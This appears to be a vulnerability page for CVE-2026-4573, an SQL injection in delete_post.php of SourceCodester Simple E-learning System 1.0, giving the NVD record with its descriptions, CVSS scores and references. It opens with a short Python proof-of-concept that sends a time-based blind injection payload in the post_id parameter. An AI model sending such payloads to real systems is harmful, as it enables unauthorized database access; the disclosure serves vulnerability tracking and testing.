CVE-2026-4573

import requests # Simple PoC to check for SQL Injection in CVE-2026-4573 def check_sqli(url): target = f"{url}/includes/form_handlers/delete_post.php" # Payload for time-based blind injection payload = "?post_id=1' AND SLEEP(5)-- -" try: response = requests.get(target + payload, timeout=10) # If response takes longer than 5 seconds (plus overhead), it's vulnerable if response.elapsed.total_seconds() > 5: print("[+] Vulnerability detected: Time-based SQL Injection") else: print("[-] Not vulnerable or payload failed") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": target_url = "http://localhost/simple-e-learning" # Replace with actual target check_sqli(target_url)

{"cve": {"id": "CVE-2026-4573", "sourceIdentifier": "[email protected]", "published": "2026-03-23T06:16:20.400", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A security vulnerability has been detected in SourceCodester Simple E-learning System 1.0. This affects an unknown part of the file /includes/form_handlers/delete_post.php of the component HTTP GET Parameter Handler. The manipulation of the argument post_id leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed publicly and may be used."}, {"lang": "es", "value": "Se ha detectado una vulnerabilidad de seguridad en SourceCodester Simple E-learning System 1.0. Esto afecta una parte desconocida del archivo /includes/form_handlers/delete_post.php del componente Gestor de Parámetros GET HTTP. La manipulación del argumento post_id conduce a inyección SQL. Es posible iniciar el ataque de forma remota. El exploit ha sido divulgado públicamente y puede ser utilizado."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 6.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://github.com/meifukun/Web-Security-PoCs/blob/main/Simple-E-learning-System/SQLi-DeletePost-postId.md", "source": "[email protected]"}, {"url": "https://vuldb.com/?ctiid.352410", "source": "[email protected]"}, {"url": "https://vuldb.com/?id.352410", "source": "[email protected]"}, {"url": "https://vuldb.com/?submit.775181", "source": "[email protected]"}, {"url": "https://www.sourcecodester.com/", "source": "[email protected]"}]}}